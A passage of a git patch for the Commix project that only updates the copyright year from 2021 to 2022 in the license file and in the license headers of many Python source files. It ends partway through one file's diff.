Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 4 Jan 2022 09:31:22 +0200 Subject: [PATCH 040/560] Copyright year update --- LICENSE.txt | 2 +- commix.py | 2 +- src/__init__.py | 2 +- src/core/__init__.py | 2 +- src/core/compat.py | 2 +- src/core/convert.py | 2 +- src/core/injections/__init__.py | 2 +- src/core/injections/blind/__init__.py | 2 +- src/core/injections/blind/techniques/__init__.py | 2 +- src/core/injections/blind/techniques/time_based/__init__.py | 2 +- .../injections/blind/techniques/time_based/tb_enumeration.py | 2 +- .../injections/blind/techniques/time_based/tb_file_access.py | 2 +- src/core/injections/blind/techniques/time_based/tb_handler.py | 2 +- .../injections/blind/techniques/time_based/tb_injector.py | 2 +- .../injections/blind/techniques/time_based/tb_payloads.py | 2 +- src/core/injections/controller/__init__.py | 2 +- src/core/injections/controller/checks.py | 2 +- src/core/injections/controller/controller.py | 2 +- src/core/injections/controller/parser.py | 2 +- src/core/injections/controller/shell_options.py | 2 +- src/core/injections/results_based/__init__.py | 2 +- src/core/injections/results_based/techniques/__init__.py | 2 +- .../injections/results_based/techniques/classic/__init__.py | 2 +- .../results_based/techniques/classic/cb_enumeration.py | 2 +- .../results_based/techniques/classic/cb_file_access.py | 2 +- .../injections/results_based/techniques/classic/cb_handler.py | 2 +- .../results_based/techniques/classic/cb_injector.py | 2 +- .../results_based/techniques/classic/cb_payloads.py | 2 +- .../results_based/techniques/eval_based/__init__.py | 2 +- .../results_based/techniques/eval_based/eb_enumeration.py | 2 +- .../results_based/techniques/eval_based/eb_file_access.py | 2 +- .../results_based/techniques/eval_based/eb_handler.py | 2 +- .../results_based/techniques/eval_based/eb_injector.py | 2 +- .../results_based/techniques/eval_based/eb_payloads.py | 2 +- src/core/injections/semiblind/__init__.py | 2 +- src/core/injections/semiblind/techniques/__init__.py | 2 +- .../injections/semiblind/techniques/file_based/__init__.py | 2 +- .../semiblind/techniques/file_based/fb_enumeration.py | 2 +- .../semiblind/techniques/file_based/fb_file_access.py | 2 +- .../injections/semiblind/techniques/file_based/fb_handler.py | 2 +- .../injections/semiblind/techniques/file_based/fb_injector.py | 2 +- .../injections/semiblind/techniques/file_based/fb_payloads.py | 2 +- .../semiblind/techniques/tempfile_based/__init__.py | 2 +- .../semiblind/techniques/tempfile_based/tfb_enumeration.py | 2 +- .../semiblind/techniques/tempfile_based/tfb_file_access.py | 2 +- .../semiblind/techniques/tempfile_based/tfb_handler.py | 2 +- .../semiblind/techniques/tempfile_based/tfb_injector.py | 2 +- .../semiblind/techniques/tempfile_based/tfb_payloads.py | 2 +- src/core/main.py | 2 +- src/core/modules/__init__.py | 2 +- src/core/modules/dns_exfiltration/__init__.py | 2 +- src/core/modules/dns_exfiltration/dns_exfiltration.py | 2 +- src/core/modules/icmp_exfiltration/__init__.py | 2 +- src/core/modules/icmp_exfiltration/icmp_exfiltration.py | 2 +- src/core/modules/modules_handler.py | 2 +- src/core/modules/shellshock/__init__.py | 2 +- src/core/requests/__init__.py | 2 +- src/core/requests/authentication.py | 2 +- src/core/requests/headers.py | 2 +- src/core/requests/parameters.py | 2 +- src/core/requests/proxy.py | 2 +- src/core/requests/redirection.py | 2 +- src/core/requests/requests.py | 2 +- src/core/requests/tor.py | 2 +- src/core/shells/__init__.py | 2 +- src/core/shells/bind_tcp.py | 2 +- src/core/shells/reverse_tcp.py | 2 +- src/core/tamper/__init__.py | 2 +- src/core/tamper/backslashes.py | 2 +- src/core/tamper/backticks.py | 2 +- src/core/tamper/base64encode.py | 2 +- src/core/tamper/caret.py | 2 +- src/core/tamper/dollaratsigns.py | 2 +- src/core/tamper/doublequotes.py | 2 +- src/core/tamper/hexencode.py | 2 +- src/core/tamper/multiplespaces.py | 2 +- src/core/tamper/nested.py | 2 +- src/core/tamper/singlequotes.py | 2 +- src/core/tamper/slash2env.py | 2 +- src/core/tamper/sleep2timeout.py | 2 +- src/core/tamper/sleep2usleep.py | 2 +- src/core/tamper/space2htab.py | 2 +- src/core/tamper/space2ifs.py | 2 +- src/core/tamper/space2plus.py | 2 +- src/core/tamper/space2vtab.py | 2 +- src/core/tamper/uninitializedvariable.py | 2 +- src/core/tamper/xforwardedfor.py | 2 +- src/core/testing.py | 2 +- src/thirdparty/__init__.py | 2 +- src/utils/__init__.py | 2 +- src/utils/colors.py | 2 +- src/utils/common.py | 2 +- src/utils/crawler.py | 2 +- src/utils/install.py | 2 +- src/utils/logs.py | 2 +- src/utils/menu.py | 2 +- src/utils/purge.py | 2 +- src/utils/requirments.py | 2 +- src/utils/session_handler.py | 2 +- src/utils/settings.py | 4 ++-- src/utils/simple_http_server.py | 2 +- src/utils/update.py | 2 +- src/utils/version.py | 2 +- 103 files changed, 104 insertions(+), 104 deletions(-) diff --git a/LICENSE.txt b/LICENSE.txt index 9c2451501f..1fcc28efab 100644 --- a/LICENSE.txt +++ b/LICENSE.txt @@ -1,4 +1,4 @@ -Copyright (c) 2014-2021 Anastasios Stasinopoulos +Copyright (c) 2014-2022 Anastasios Stasinopoulos This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/commix.py b/commix.py index 63b7f7e283..3d1b518bf2 100755 --- a/commix.py +++ b/commix.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/__init__.py b/src/__init__.py index b50e6972c9..7ce1185b92 100644 --- a/src/__init__.py +++ b/src/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/__init__.py b/src/core/__init__.py index b50e6972c9..7ce1185b92 100644 --- a/src/core/__init__.py +++ b/src/core/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/compat.py b/src/core/compat.py index 2db6ac6049..48af6f3a36 100644 --- a/src/core/compat.py +++ b/src/core/compat.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/convert.py b/src/core/convert.py index f3af657c5e..4a14cf9f99 100644 --- a/src/core/convert.py +++ b/src/core/convert.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/__init__.py b/src/core/injections/__init__.py index b50e6972c9..7ce1185b92 100644 --- a/src/core/injections/__init__.py +++ b/src/core/injections/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/blind/__init__.py b/src/core/injections/blind/__init__.py index b50e6972c9..7ce1185b92 100644 --- a/src/core/injections/blind/__init__.py +++ b/src/core/injections/blind/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/blind/techniques/__init__.py b/src/core/injections/blind/techniques/__init__.py index b50e6972c9..7ce1185b92 100644 --- a/src/core/injections/blind/techniques/__init__.py +++ b/src/core/injections/blind/techniques/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/blind/techniques/time_based/__init__.py b/src/core/injections/blind/techniques/time_based/__init__.py index b50e6972c9..7ce1185b92 100644 --- a/src/core/injections/blind/techniques/time_based/__init__.py +++ b/src/core/injections/blind/techniques/time_based/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/blind/techniques/time_based/tb_enumeration.py b/src/core/injections/blind/techniques/time_based/tb_enumeration.py index e93ee1ff02..5e8ed6eb42 100755 --- a/src/core/injections/blind/techniques/time_based/tb_enumeration.py +++ b/src/core/injections/blind/techniques/time_based/tb_enumeration.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/blind/techniques/time_based/tb_file_access.py b/src/core/injections/blind/techniques/time_based/tb_file_access.py index 40aff2e61a..896b82aef8 100755 --- a/src/core/injections/blind/techniques/time_based/tb_file_access.py +++ b/src/core/injections/blind/techniques/time_based/tb_file_access.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index 9ceb58bddc..aabbfb621a 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py index a1352661fd..d0c8dc64a6 100755 --- a/src/core/injections/blind/techniques/time_based/tb_injector.py +++ b/src/core/injections/blind/techniques/time_based/tb_injector.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py index 9cf94630f8..e2a27a57c4 100755 --- a/src/core/injections/blind/techniques/time_based/tb_payloads.py +++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/controller/__init__.py b/src/core/injections/controller/__init__.py index b50e6972c9..7ce1185b92 100644 --- a/src/core/injections/controller/__init__.py +++ b/src/core/injections/controller/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 89bcc1e091..cb8acc9dc8 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index dd0fd7a2b9..110a7889f2 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py index 1d095c11b2..aee6857af8 100755 --- a/src/core/injections/controller/parser.py +++ b/src/core/injections/controller/parser.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/controller/shell_options.py b/src/core/injections/controller/shell_options.py index 1837647ee2..cf5e41b9ca 100755 --- a/src/core/injections/controller/shell_options.py +++ b/src/core/injections/controller/shell_options.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/__init__.py b/src/core/injections/results_based/__init__.py index b50e6972c9..7ce1185b92 100644 --- a/src/core/injections/results_based/__init__.py +++ b/src/core/injections/results_based/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/__init__.py b/src/core/injections/results_based/techniques/__init__.py index b50e6972c9..7ce1185b92 100644 --- a/src/core/injections/results_based/techniques/__init__.py +++ b/src/core/injections/results_based/techniques/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/classic/__init__.py b/src/core/injections/results_based/techniques/classic/__init__.py index b50e6972c9..7ce1185b92 100644 --- a/src/core/injections/results_based/techniques/classic/__init__.py +++ b/src/core/injections/results_based/techniques/classic/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/classic/cb_enumeration.py b/src/core/injections/results_based/techniques/classic/cb_enumeration.py index 80f3bafa09..6f8e81fe99 100755 --- a/src/core/injections/results_based/techniques/classic/cb_enumeration.py +++ b/src/core/injections/results_based/techniques/classic/cb_enumeration.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/classic/cb_file_access.py b/src/core/injections/results_based/techniques/classic/cb_file_access.py index 6f1f75ef28..e8b7c86ca9 100755 --- a/src/core/injections/results_based/techniques/classic/cb_file_access.py +++ b/src/core/injections/results_based/techniques/classic/cb_file_access.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py index 0f54de2d6c..052674bbd2 100755 --- a/src/core/injections/results_based/techniques/classic/cb_handler.py +++ b/src/core/injections/results_based/techniques/classic/cb_handler.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/classic/cb_injector.py b/src/core/injections/results_based/techniques/classic/cb_injector.py index 5e17a40639..6556937a4f 100755 --- a/src/core/injections/results_based/techniques/classic/cb_injector.py +++ b/src/core/injections/results_based/techniques/classic/cb_injector.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/classic/cb_payloads.py b/src/core/injections/results_based/techniques/classic/cb_payloads.py index de3074846e..4bd50efe03 100755 --- a/src/core/injections/results_based/techniques/classic/cb_payloads.py +++ b/src/core/injections/results_based/techniques/classic/cb_payloads.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/eval_based/__init__.py b/src/core/injections/results_based/techniques/eval_based/__init__.py index b50e6972c9..7ce1185b92 100644 --- a/src/core/injections/results_based/techniques/eval_based/__init__.py +++ b/src/core/injections/results_based/techniques/eval_based/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py index d5dfec486c..2ac5a0077f 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py b/src/core/injections/results_based/techniques/eval_based/eb_file_access.py index b3c839762a..6dc0a3a9c6 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_file_access.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py index 4feae2a045..066daccb06 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/eval_based/eb_injector.py b/src/core/injections/results_based/techniques/eval_based/eb_injector.py index a0b7cbf999..9442feb0a7 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_injector.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_injector.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/eval_based/eb_payloads.py b/src/core/injections/results_based/techniques/eval_based/eb_payloads.py index 2beabfab44..f42196492c 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_payloads.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_payloads.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/__init__.py b/src/core/injections/semiblind/__init__.py index b50e6972c9..7ce1185b92 100644 --- a/src/core/injections/semiblind/__init__.py +++ b/src/core/injections/semiblind/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/__init__.py b/src/core/injections/semiblind/techniques/__init__.py index b50e6972c9..7ce1185b92 100644 --- a/src/core/injections/semiblind/techniques/__init__.py +++ b/src/core/injections/semiblind/techniques/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/file_based/__init__.py b/src/core/injections/semiblind/techniques/file_based/__init__.py index b50e6972c9..7ce1185b92 100644 --- a/src/core/injections/semiblind/techniques/file_based/__init__.py +++ b/src/core/injections/semiblind/techniques/file_based/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py index 3c45321493..afe3683801 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py index 02520e48d3..94c3ff40af 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index e579189bc5..b0fa15ad20 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/injections/semiblind/techniques/file_based/fb_injector.py index 895dd3448b..242f3469b9 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_injector.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py index bc7e823e05..b6089a7122 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/tempfile_based/__init__.py b/src/core/injections/semiblind/techniques/tempfile_based/__init__.py index b50e6972c9..7ce1185b92 100644 --- a/src/core/injections/semiblind/techniques/tempfile_based/__init__.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py index 8a93c9c7f2..e2ef149453 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py index f26d9a86e1..d306f0f4ae 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index 7c4e7d3099..6e2321a1bb 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py index 5d49f10d7d..dae11ba1a4 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py index fa3611a052..538f2a37dd 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py +++ 